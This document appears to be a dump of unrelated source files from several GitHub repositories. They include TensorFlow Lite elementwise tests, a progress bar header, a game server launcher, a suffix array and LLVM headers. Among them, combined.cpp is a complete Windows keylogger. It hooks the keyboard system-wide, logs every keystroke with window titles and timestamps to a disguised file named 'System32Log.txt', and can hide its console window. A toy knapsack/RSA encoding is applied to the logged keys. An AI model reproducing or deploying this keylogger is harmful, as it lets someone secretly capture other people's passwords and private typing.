ASSERT_TRUE(model.PopulateTensor(1, {1.0, 2.0, 3.0, -2.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {1.0, 2.0, 3.0, -2.0}));
}
TEST(ElementwiseTest, MaximumWithScalar) {
OperationType op_type = OperationType::MAXIMUM;
const BHWC shape(1, 2, 2, 1);
ElementwiseAttributes attr;
attr.param = -1.0f;
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/std::move(attr)},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, -3.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, -1.0, 2.0, -1.0}));
}
TEST(ElementwiseTest, Minimum) {
OperationType op_type = OperationType::MINIMUM;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape), GetTensorRef(1, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, -3.0}));
ASSERT_TRUE(model.PopulateTensor(1, {1.0, 2.0, 3.0, -2.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, -6.2, 2.0, -3.0}));
}
TEST(ElementwiseTest, MinimumWithScalar) {
OperationType op_type = OperationType::MINIMUM;
const BHWC shape(1, 2, 2, 1);
ElementwiseAttributes attr;
attr.param = -1.0f;
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/std::move(attr)},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, -3.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {-1.0, -6.2, -1.0, -3.0}));
}
TEST(ElementwiseTest, Pow) {
OperationType op_type = OperationType::POW;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape), GetTensorRef(1, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, 1.0, 2.0, 4.0}));
ASSERT_TRUE(model.PopulateTensor(1, {1.0, 2.0, 3.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, 1.0, 8.0, 256.0}));
}
TEST(ElementwiseTest, Rsqrt) {
OperationType op_type = OperationType::RSQRT;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {1.0, 2.0, 4.0, 9.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {1.0, 0.707106, 0.5, 0.333333}));
}
TEST(ElementwiseTest, Sigmoid) {
OperationType op_type = OperationType::SIGMOID;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.0, 2.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.5, 0.002473, 0.880797, 0.982014}));
}
TEST(ElementwiseTest, Sin) {
OperationType op_type = OperationType::SIN;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, 3.1415926, -3.1415926, 1.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, 0.0, 0.0, 0.841471}));
}
TEST(ElementwiseTest, Sqrt) {
OperationType op_type = OperationType::SQRT;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, 1.0, 2.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, 1.0, 1.414213, 2.0}));
}
TEST(ElementwiseTest, Square) {
OperationType op_type = OperationType::SQUARE;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {1.0, 2.0, 0.5, -3.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {1.0, 4.0, 0.25, 9.0}));
}
TEST(ElementwiseTest, SquaredDiff) {
OperationType op_type = OperationType::SQUARED_DIFF;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape), GetTensorRef(1, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, 2.0, 2.0, 4.0}));
ASSERT_TRUE(model.PopulateTensor(1, {1.0, 1.0, 5.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {1.0, 1.0, 9.0, 0.0}));
}
TEST(ElementwiseTest, Sub) {
OperationType op_type = OperationType::SUB;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model(
{/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape), GetTensorRef(1, shape)},
/*outputs=*/{GetTensorRef(2, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.2, 2.0, 4.0}));
ASSERT_TRUE(model.PopulateTensor(1, {1.0, 2.0, 3.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {-1.0, -8.2, -1.0, 0.0}));
}
TEST(ElementwiseTest, Tanh) {
OperationType op_type = OperationType::TANH;
const BHWC shape(1, 2, 2, 1);
SingleOpModel model({/*type=*/ToString(op_type), /*attributes=*/{}},
/*inputs=*/{GetTensorRef(0, shape)},
/*outputs=*/{GetTensorRef(1, shape)});
ASSERT_TRUE(model.PopulateTensor(0, {0.0, -6.0, 2.0, 4.0}));
ASSERT_OK(model.Invoke(*NewElementwiseNodeShader(op_type)));
EXPECT_THAT(model.GetOutput(0),
Pointwise(FloatNear(1e-6), {0.0, -0.999987, 0.964027, 0.999329}));
}
} // namespace
} // namespace gl
} // namespace gpu
} // namespace tflite
| [
"gardener@tensorflow.org"
] | gardener@tensorflow.org |
fb37c9d27cca9e8542f12ee2932df875a6122b15 | 699a2960df4185111ba65eb798b919a371439468 | /Turuoise/cQAsystem/Utils/ProgressBar.h | 7edcc271ad0d66175adf95bce9aec220a33dd899 | [] | no_license | JangYoungWhan/Turuoise | 67c566d11696d2f64c057d64dcc17862b45729ae | 448ab789dbba0e587518c0e3e317dae3c4d1e013 | refs/heads/master | 2020-05-19T12:55:26.174139 | 2014-09-22T13:32:10 | 2014-09-22T13:32:10 | 22,280,636 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 890 | h | #ifndef _PROGRESS_BAR_H_
#define _PROGRESS_BAR_H_
#include <iostream>
#include <iomanip>
#include "StdRedef.h"
template <typename T_int>
class ProgressBar
{
public:
ProgressBar();
virtual ~ProgressBar();
void dispalyPrgressBar(T_int x, T_int n, int w = 50);
};
template <typename T_int>
ProgressBar<T_int>::ProgressBar()
{
}
template <typename T_int>
ProgressBar<T_int>::~ProgressBar()
{
}
template <typename T_int>
inline
void ProgressBar<T_int>::dispalyPrgressBar(T_int x, T_int n, int w = 50)
{
if ( (x != n) && (x % (n/100+1) != 0) ) return;
float ratio = x/(float)n;
int c = static_cast<int>(ratio*w);
std::wcout << std::setw(3) << static_cast<int>(ratio*100) << "% [";
for(auto x=0; x<w; x++)
{
if(x<c) std::wcout << "=";
else if(x==c) std::wcout << ">";
else std::wcout << " ";
}
std::wcout << "]\r" << std::flush;
}
#endif | [
"stdjangyounghwan@gmail.com"
] | stdjangyounghwan@gmail.com |
8910e20691c2c30ac40a4cae22aa21ef83918db4 | e950e50af5aa6f76001c310d2b9ace2544f4318f | /combined.cpp | 315b83d6d30b88425a17cdd927bb44faa468e328 | [] | no_license | Revanthan/Secured-Keyloggers-with-Merkle-Hellman-Cryptosystem | 80fed5294449f32998c57004f12648e65a31f49c | 16f43b92bd6424a0a8adcb542ca0f73a4bab9772 | refs/heads/master | 2020-03-14T05:54:12.262876 | 2018-04-29T07:18:24 | 2018-04-29T07:18:24 | 131,473,255 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,089 | cpp | #include <Windows.h>
#include <time.h>
#include <iostream>
#include <cstdio>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define visible
HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
int Save(int key_stroke, char *file);
extern char lastwindow[256];
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
Save(kbdStruct.vkCode, "System32Log.txt");
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
{
MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
}
}
void ReleaseHook()
{
UnhookWindowsHookEx(_hook);
}
int Save(int key_stroke, char *file)
{
char lastwindow[256];
if ((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
HWND foreground = GetForegroundWindow();
if (foreground)
{
char window_title[256];
GetWindowText(foreground, window_title, 256);
if(strcmp(window_title, lastwindow)!=0) {
strcpy(lastwindow, window_title);
// get time
time_t t = time(NULL);
struct tm *tm = localtime(&t);
char s[64];
strftime(s, sizeof(s), "%c", tm);
fprintf(OUTPUT_FILE, "\n\n[Window: %s - at %s] ", window_title, s);
}
}
// std::cout << key_stroke << '\n';
if (key_stroke == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == VK_SPACE)
fprintf(OUTPUT_FILE, "%s", "[SPACE]");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else if (key_stroke == 189 || key_stroke == 109)
fprintf(OUTPUT_FILE, "%s", "-");
else if (key_stroke == 20)
fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else {
if (key_stroke >= 96 && key_stroke <= 105)
{
key_stroke -= 48;
}
else if (key_stroke >= 65 && key_stroke <= 90) { // A-Z
// check caps lock
bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
// check shift key
if ((GetKeyState(VK_SHIFT) & 0x0001) != 0 || (GetKeyState(VK_LSHIFT) & 0x0001) != 0 || (GetKeyState(VK_RSHIFT) & 0x0001) != 0) {
lowercase = !lowercase;
}
if (lowercase) key_stroke += 32;
}
//crypto code
int no,i=0;
no=8;
int w[no],temp=0,sumofw,q,flag=0,gcd,r,pk;
w[0]=2;
w[1]=7;
w[2]=11;
w[3]=21;
w[4]=42;
w[5]=89;
w[6]=180;
w[7]=354;
temp=0;
q=881;
r=588;
int b[no];
for(i=0;i<no;i++)
{
b[i]=(w[i]*r)%q;
}
int n,d,e,p1,p2,gcd1,gcd2;
p1=53;
p2=31;
n=p1*p2;
e=7;
d=223;
//Encryption
int plaintxt[8],pltxt;
temp=0;
int c, k;
int t=0;
pltxt=key_stroke;
int txtsize=8;
for (c = 7; c >= 0; c--)
{
k = pltxt >> c;
if (k & 1)
plaintxt[t]=1;
else
plaintxt[t]=0;
t++;
}
printf("\nThe Plain text: ");
for(i=0;i<txtsize;i++)
{
printf("%d ",plaintxt[i]);
}
for(i=0;i<txtsize;i++)
{
temp=temp+(plaintxt[i]*b[i]);
}
int ciphertxt = 1;
temp = temp % n;
int ee=e;
while (e > 0)
{
if (e & 1)
ciphertxt = (ciphertxt*temp) % n;
e = e>>1;
temp = (temp*temp) % n;
}
printf("\nCipher Text(%d^%d Mod %d) :%d",temp,ee,n,ciphertxt);
//crypto code ends here
fprintf(OUTPUT_FILE, "%d",ciphertxt);
fprintf(OUTPUT_FILE, "%s"," ");
}
fclose(OUTPUT_FILE);
return 0;
}
void Stealth()
{
#ifdef visible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window
#endif // visible
#ifdef invisible
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window
#endif // invisible
}
int main()
{
Stealth();
SetHook();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
}
| [
"noreply@github.com"
] | noreply@github.com |
59f6866c4d8244164025cc6491db66a90fe349e0 | 5bd947bfb8956979c46b4f2407638e7a57ccf7ff | /cpp/inc/horline.h | 559f641af385bf5c6d51221881ccae14393d84f3 | [] | no_license | creator83/MKL17Z256 | b74e83fcff2385edf64212e9e37a8feb14e72946 | 14c4c2463051c6e09594573540b7a41ea995b742 | refs/heads/master | 2020-12-29T02:19:07.180405 | 2017-04-19T11:00:14 | 2017-04-19T11:00:14 | 48,217,913 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 410 | h | #include "device.h" // Device header
#include "shape.h"
#include "colors16bit.h"
#ifndef HORLINE_H
#define HORLINE_H
class Horline : public Shape
{
private:
uint16_t x, y, color, length;
uint8_t thick;
public:
Horline (uint16_t x_, uint16_t y_, uint16_t color_, uint16_t length_, uint8_t thick_);
void draw () const override;
void setPosition (uint16_t, uint16_t) override;
};
#endif
| [
"creator83@yandex.ru"
] | creator83@yandex.ru |
1a7ada1e6f96ba8e14ff6a75c17a26b74dd344d1 | 04896c0dfb5e7d25c60a31097d0ea63b59d31811 | /src/dedicated_main/main.cpp | 89df80ebfc8fae76991d1ebe57fab08313306d0b | [] | no_license | Petercov/Quiver-Engine | f2e820c21c89682f284a6cc5718ed59c6023d525 | 05605a28072682a56ea099dba6b6043da38fa84c | refs/heads/master | 2023-08-15T06:07:40.251252 | 2021-10-19T09:23:05 | 2021-10-19T09:23:05 | 373,350,248 | 3 | 0 | null | null | null | null | WINDOWS-1252 | C++ | false | false | 4,179 | cpp | //========= Copyright © 1996-2005, Valve Corporation, All rights reserved. ============//
//
// Purpose:
//
// $NoKeywords: $
//
//=============================================================================//
//-----------------------------------------------------------------------------
// This is just a little redirection tool so I can get all the dlls in bin
//-----------------------------------------------------------------------------
#ifdef _WIN32
#include <windows.h>
#include <stdio.h>
#include <assert.h>
#include <direct.h>
#elif _LINUX
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <limits.h>
#include <errno.h>
#include <unistd.h>
#define MAX_PATH PATH_MAX
#endif
#ifdef _WIN32
typedef int (*DedicatedMain_t)( HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow );
#elif _LINUX
typedef int (*DedicatedMain_t)( int argc, char *argv[] );
#endif
//-----------------------------------------------------------------------------
// Purpose: Return the directory where this .exe is running from
// Output : char
//-----------------------------------------------------------------------------
static char *GetBaseDir( const char *pszBuffer )
{
static char basedir[ MAX_PATH ];
char szBuffer[ MAX_PATH ];
size_t j;
char *pBuffer = NULL;
strcpy( szBuffer, pszBuffer );
pBuffer = strrchr( szBuffer,'\\' );
if ( pBuffer )
{
*(pBuffer+1) = '\0';
}
strcpy( basedir, szBuffer );
j = strlen( basedir );
if (j > 0)
{
if ( ( basedir[ j-1 ] == '\\' ) ||
( basedir[ j-1 ] == '/' ) )
{
basedir[ j-1 ] = 0;
}
}
return basedir;
}
#ifdef _WIN32
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow )
{
// Must add 'bin' to the path....
char* pPath = getenv("PATH");
// Use the .EXE name to determine the root directory
char moduleName[ MAX_PATH ];
char szBuffer[ 4096 ];
if ( !GetModuleFileName( hInstance, moduleName, MAX_PATH ) )
{
MessageBox( 0, "Failed calling GetModuleFileName", "Launcher Error", MB_OK );
return 0;
}
// Get the root directory the .exe is in
char* pRootDir = GetBaseDir( moduleName );
#ifdef _DEBUG
int len =
#endif
_snprintf( szBuffer, sizeof( szBuffer ) - 1, "PATH=%s\\;%s", pRootDir, pPath );
assert( len < 4096 );
_putenv( szBuffer );
HINSTANCE launcher = LoadLibrary("dedicated.dll"); // STEAM OK ... filesystem not mounted yet
if (!launcher)
{
char *pszError;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&pszError, 0, NULL);
char szBuf[1024];
_snprintf(szBuf, sizeof( szBuf ) - 1, "Failed to load the launcher DLL:\n\n%s", pszError);
MessageBox( 0, szBuf, "Launcher Error", MB_OK );
LocalFree(pszError);
return 0;
}
DedicatedMain_t main = (DedicatedMain_t)GetProcAddress( launcher, "DedicatedMain" );
return main( hInstance, hPrevInstance, lpCmdLine, nCmdShow );
}
#elif _LINUX
#define stringize(a) #a
#define dedicated_binary(a,b,c) a stringize(b) c
int main( int argc, char *argv[] )
{
// Must add 'bin' to the path....
char* pPath = getenv("LD_LIBRARY_PATH");
char szBuffer[4096];
char cwd[ MAX_PATH ];
if ( !getcwd( cwd, sizeof(cwd)) )
{
printf( "getcwd failed (%s)", strerror(errno));
}
snprintf( szBuffer, sizeof( szBuffer ) - 1, "LD_LIBRARY_PATH=%s/bin:%s", cwd, pPath );
int ret = putenv( szBuffer );
if ( ret )
{
printf( "%s\n", strerror(errno) );
}
void *tier0 = dlopen( "tier0_i486.so", RTLD_NOW );
void *vstdlib = dlopen( "vstdlib_i486.so", RTLD_NOW );
const char *pBinaryName = dedicated_binary( "bin/dedicated_", i486, ".so" );
void *dedicated = dlopen( pBinaryName, RTLD_NOW );
if ( !dedicated )
{
printf( "Failed to open %s (%s)\n", pBinaryName, dlerror());
return -1;
}
DedicatedMain_t main = (DedicatedMain_t)dlsym( dedicated, "DedicatedMain" );
if ( !main )
{
printf( "Failed to find dedicated server entry point (%s)\n", dlerror() );
return -1;
}
ret = main( argc,argv );
dlclose( dedicated );
dlclose( vstdlib );
dlclose( tier0 );
}
#endif
| [
"demizexp@gmail.com"
] | demizexp@gmail.com |
0a8b82997a036ea1adfcd05092cbf32ad07b3812 | a3d1b5aed9f897e5d917fbc908f933f912664ce1 | /code/Suffix_Array.cpp | fe7fdfeedf62f84008031054a60435431e23e12f | [] | no_license | TotalVerb/ACM-Notebook | e2d3264ce5c792dd7025ec08f20d9cf058e9ba43 | ca41c0a85b0acb49858edbcb34f266e2cac29651 | refs/heads/master | 2021-01-12T14:43:36.849224 | 2016-10-27T04:57:14 | 2016-10-27T04:57:14 | 72,072,457 | 0 | 0 | null | 2016-10-27T04:57:38 | 2016-10-27T04:57:37 | null | UTF-8 | C++ | false | false | 1,166 | cpp | #include <bits/stdc++.h>
using namespace std;
struct Suffix {
int index;
pair<int, int> rank;
Suffix () {}
Suffix (int index, int rank1, int rank2): index(index), rank{rank1, rank2} {}
bool operator < (const Suffix& s) const {
return rank < s.rank;
}
bool operator == (const Suffix& s) const {
return rank == s.rank;
}
};
vector<int> buildSuffixArray (string s) {
int N = (int)s.size();
vector<Suffix> suff(N);
vector<int> ind(N), ret(N);
for (int i = 0; i < N; i++)
suff[i] = Suffix(i, s[i], i + 1 < N ? s[i + 1] : -1);
for (int i = 2;; i <<= 1) {
sort(suff.begin(), suff.end());
ind[suff[0].index] = 0;
for (int j = 1; j < N; j++)
ind[suff[j].index] = (suff[j] == suff[j - 1] ? 0 : 1) + ind[suff[j - 1].index];
for (int j = 0; j < N; j++) {
suff[j].rank.second = suff[j].index + i < N ? ind[suff[j].index + i] : -1;
suff[j].rank.first = ind[suff[j].index];
}
if ((*--suff.end()).rank.first == N - 1)
break;
}
for (int i = 0; i < N; i++)
ret[ind[i]] = i;
return ret;
}
| [
"jeffrey.xiao1998@gmail.com"
] | jeffrey.xiao1998@gmail.com |
f22ea8567718335d3ed139928dfd567153d4a9a2 | 65025edce8120ec0c601bd5e6485553697c5c132 | /Engine/app/guibind/scriptbind_menucontrol.cc | fc7b7f3d2d890801c8a8dc7bdcdd396490fe7bab | [
"MIT"
] | permissive | stonejiang/genesis-3d | babfc99cfc9085527dff35c7c8662d931fbb1780 | df5741e7003ba8e21d21557d42f637cfe0f6133c | refs/heads/master | 2020-12-25T18:22:32.752912 | 2013-12-13T07:45:17 | 2013-12-13T07:45:17 | 15,157,071 | 4 | 4 | null | null | null | null | UTF-8 | C++ | false | false | 1,265 | cc | /****************************************************************************
Copyright (c) 2011-2013,WebJet Business Division,CYOU
http://www.genesis-3d.com.cn
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
| [
"jiangtao@tao-studio.net"
] | jiangtao@tao-studio.net |
2d81e8832a22e6d0efd01098d9dbcab3a678435b | 3cd1e6cff03461acf5edc1d25f253f1a0af383d0 | /include/llvm/Analysis/ProfileDataLoader.h | bec9fac770c70570f242aee17e8358139fe84311 | [
"NCSA"
] | permissive | Quantum-Platinum-Cloud/llvmCore | aacb91b619df609f1baf91df966e31a15bda31cc | 06636e2aa0be8e24b9c3ed903480bdd49471ee5d | refs/heads/main | 2023-08-23T17:42:51.782394 | 2013-10-29T00:03:36 | 2021-10-06T05:26:44 | 589,028,216 | 1 | 0 | NOASSERTION | 2023-01-14T20:31:25 | 2023-01-14T20:31:24 | null | UTF-8 | C++ | false | false | 5,144 | h | //===- ProfileDataLoader.h - Load & convert profile info ----*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The ProfileDataLoader class is used to load profiling data from a dump file.
// The ProfileDataT<FType, BType> class is used to store the mapping of this
// data to control flow edges.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_ANALYSIS_PROFILEDATALOADER_H
#define LLVM_ANALYSIS_PROFILEDATALOADER_H
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/ErrorHandling.h"
#include <string>
namespace llvm {
class ModulePass;
class Function;
class BasicBlock;
// Helper for dumping edges to dbgs().
raw_ostream& operator<<(raw_ostream &O, std::pair<const BasicBlock *,
const BasicBlock *> E);
/// \brief The ProfileDataT<FType, BType> class is used to store the mapping of
/// profiling data to control flow edges.
///
/// An edge is defined by its source and sink basic blocks.
template<class FType, class BType>
class ProfileDataT {
public:
// The profiling information defines an Edge by its source and sink basic
// blocks.
typedef std::pair<const BType*, const BType*> Edge;
private:
typedef DenseMap<Edge, unsigned> EdgeWeights;
/// \brief Count the number of times a transition between two blocks is
/// executed.
///
/// As a special case, we also hold an edge from the null BasicBlock to the
/// entry block to indicate how many times the function was entered.
DenseMap<const FType*, EdgeWeights> EdgeInformation;
public:
/// getFunction() - Returns the Function for an Edge.
static const FType *getFunction(Edge e) {
// e.first may be NULL
assert(((!e.first) || (e.first->getParent() == e.second->getParent()))
&& "A ProfileData::Edge can not be between two functions");
assert(e.second && "A ProfileData::Edge must have a real sink");
return e.second->getParent();
}
/// getEdge() - Creates an Edge between two BasicBlocks.
static Edge getEdge(const BType *Src, const BType *Dest) {
return Edge(Src, Dest);
}
/// getEdgeWeight - Return the number of times that a given edge was
/// executed.
unsigned getEdgeWeight(Edge e) const {
const FType *f = getFunction(e);
assert((EdgeInformation.find(f) != EdgeInformation.end())
&& "No profiling information for function");
EdgeWeights weights = EdgeInformation.find(f)->second;
assert((weights.find(e) != weights.end())
&& "No profiling information for edge");
return weights.find(e)->second;
}
/// addEdgeWeight - Add 'weight' to the already stored execution count for
/// this edge.
void addEdgeWeight(Edge e, unsigned weight) {
EdgeInformation[getFunction(e)][e] += weight;
}
};
typedef ProfileDataT<Function, BasicBlock> ProfileData;
//typedef ProfileDataT<MachineFunction, MachineBasicBlock> MachineProfileData;
/// The ProfileDataLoader class is used to load raw profiling data from the
/// dump file.
class ProfileDataLoader {
private:
/// The name of the file where the raw profiling data is stored.
const std::string &Filename;
/// A vector of the command line arguments used when the target program was
/// run to generate profiling data. One entry per program run.
SmallVector<std::string, 1> CommandLines;
/// The raw values for how many times each edge was traversed, values from
/// multiple program runs are accumulated.
SmallVector<unsigned, 32> EdgeCounts;
public:
/// ProfileDataLoader ctor - Read the specified profiling data file, exiting
/// the program if the file is invalid or broken.
ProfileDataLoader(const char *ToolName, const std::string &Filename);
/// A special value used to represent the weight of an edge which has not
/// been counted yet.
static const unsigned Uncounted;
/// The maximum value that can be stored in a profiling counter.
static const unsigned MaxCount;
/// getNumExecutions - Return the number of times the target program was run
/// to generate this profiling data.
unsigned getNumExecutions() const { return CommandLines.size(); }
/// getExecution - Return the command line parameters used to generate the
/// i'th set of profiling data.
const std::string &getExecution(unsigned i) const { return CommandLines[i]; }
const std::string &getFileName() const { return Filename; }
/// getRawEdgeCounts - Return the raw profiling data, this is just a list of
/// numbers with no mappings to edges.
ArrayRef<unsigned> getRawEdgeCounts() const { return EdgeCounts; }
};
/// createProfileMetadataLoaderPass - This function returns a Pass that loads
/// the profiling information for the module from the specified filename.
ModulePass *createProfileMetadataLoaderPass(const std::string &Filename);
} // End llvm namespace
#endif
| [
"91980991+AppleOSSDistributions@users.noreply.github.com"
] | 91980991+AppleOSSDistributions@users.noreply.github.com |
e2a9171a8530deb3541d255ca3394a1e989ad1e0 | d4f1653399856b7f90a3517b67145127afc53f28 | /Incricacy/Temp/il2cppOutput/il2cppOutput/UnityEngine.UIModule.cpp | e09f20b3b0bc4b883d684d64c49a84e21a149b58 | [] | no_license | FatalErrror/Incricacy | 628f4fd8f12941f43f64323bbd7d884d11138815 | 9879f5b5008d52dbade3889d7d7da3ae9a6cc853 | refs/heads/master | 2020-07-25T13:17:19.452958 | 2019-09-13T16:47:27 | 2019-09-13T16:47:27 | 208,300,725 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 200,903 | cpp | #include "il2cpp-config.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
